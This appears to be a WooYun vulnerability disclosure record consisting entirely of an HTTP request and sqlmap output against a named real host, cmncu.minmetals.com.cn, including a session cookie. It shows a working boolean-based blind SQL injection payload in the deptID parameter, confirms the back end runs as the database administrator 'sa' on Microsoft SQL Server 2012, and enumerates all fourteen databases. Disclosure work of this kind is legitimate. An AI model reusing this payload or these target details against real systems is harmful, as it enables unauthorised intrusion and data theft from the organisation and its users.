WooYun.org

GET /copper/access.do?deptID=1&method=testUserNameInDept&userName=e HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://cmncu.minmetals.com.cn
Cookie: JSESSIONID=06CC83DCF2449052416FA78144E25D83
Host: cmncu.minmetals.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*	
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: deptID (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: deptID=-3287 OR 1375=1375-- jrlc&method=testUserNameInDept&userName=e
---
[04:34:35] [INFO] testing Microsoft SQL Server
[04:34:35] [INFO] confirming Microsoft SQL Server
[04:34:35] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Servlet 2.4, Tomcat 4.2.3.
back-end DBMS: Microsoft SQL Server 2012
[04:34:35] [INFO] fetching current user
[04:34:35] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[04:34:35] [INFO] retrieved: sa
current user:    'sa'
[04:34:40] [INFO] fetching database names
[04:34:40] [INFO] fetching number of databases
[04:34:40] [INFO] resumed: 14
[04:34:40] [INFO] resumed: copper
[04:34:40] [INFO] resumed: copper_test
[04:34:40] [INFO] resumed: cu
[04:34:40] [INFO] resumed: cunm
[04:34:40] [INFO] resumed: KinmetFutures
[04:34:40] [INFO] resumed: master
[04:34:40] [INFO] resumed: model
[04:34:40] [INFO] resumed: msdb
[04:34:40] [INFO] resumed: Northwind
[04:34:40] [INFO] resumed: pubs
[04:34:40] [INFO] resumed: tempdb
[04:34:40] [INFO] resumed: tin
[04:34:40] [INFO] resumed: tin_test
[04:34:40] [INFO] resumed: wxcopper_kf
available databases [14]:
[*] copper
[*] copper_test
[*] cu
[*] cunm
[*] KinmetFutures
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] tin
[*] tin_test
[*] wxcopper_kf